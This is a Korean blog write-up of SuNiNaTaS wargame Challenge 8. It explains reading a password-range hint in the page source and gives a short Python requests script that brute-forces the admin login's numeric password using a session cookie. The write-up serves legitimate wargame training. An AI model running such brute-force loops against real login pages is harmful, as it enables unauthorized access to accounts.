워게임/SuNiNaTaS

[SuNiNaTaS] Challenge8 - 웹해킹 / Python

SecurityMan 2024. 3. 7. 11:00

 

SuNiNaTaS 에서 제공하는 여덟번째 문제

 

웹해킹 문제이다.

 

반응형

 

 

문제페이지에 접속하면

 

이런 로그인 창이 나온다.

 

id/pw를 알아내야할 것 같은 느낌이다.

 

 

 

다른 문제들처럼

 

주석으로 힌트가 있을것 같아

 

F12를 눌러 개발자도구에서 소스를 확인해봤다.

 

아이디는 admin 이고, 비밀번호는 0 ~ 9999 중 하나라고 한다.

 

상당히 친절한 문제이다.

 

간단하게 Brute Force 공격을 해서 비밀번호를 알아낼 수 있다.

 

 

먼저 어떻게 데이터가 전달되는지 확인한다.

 

POST 메소드를 이용해

 

id 변수에 아이디를, pw 변수에 1111을 넣어서 보낸다.

 

 

다음으로 쿠키값을 알아내야 한다.

 

Python requests 를 이용해 문제를 해결할건데,

 

이 문제 페이지는 로그인을 해야만 접근할 수 있으므로,

 

내 쿠기값을 쥐어줘서 문제 페이지에 requests 가 접근 가능하도록 하는 것이다.

 

세션과 관련된 ASPSESSIONID 쿠키값을 가져온다.

 

import requests

url = "http://suninatas.com/challenge/web08/web08.asp"
cookie = {"ASPSESSIONID00000000":"BOKBJ000000000000000ME"}

for i in range(10000):
    data = {
        "id" : "admin",
        "pw" : i
    }
    r = requests.post(url, data=data, cookies=cookie)

    if "Incorrect!" not in r.text:
        print(i)

 

 

그리고 이렇게 코드를 작성하면 된다.

 

반복문으로 0 ~ 9999 까지 숫자를 만들어서

 

pw 파라미터에 넣고,

 

post 매소드를 이용해 쿠키값과 함께 요청을 보내면 된다.

 

만약 결과 페이지에 Incorrect! 라는 단어가 포함되지 않는다면

 

비밀번호를 찾은 것이다.

 

실행시키고 잠깐 기다리면

 

비밀번호를 알아낼 수 있다.

 

 

알아낸 비밀번호로 로그인 하면

 

Congratulation! 팝업창이 뜨고

 

 

로그인창 아래에서 플래그를 확인할 수 있다.

반응형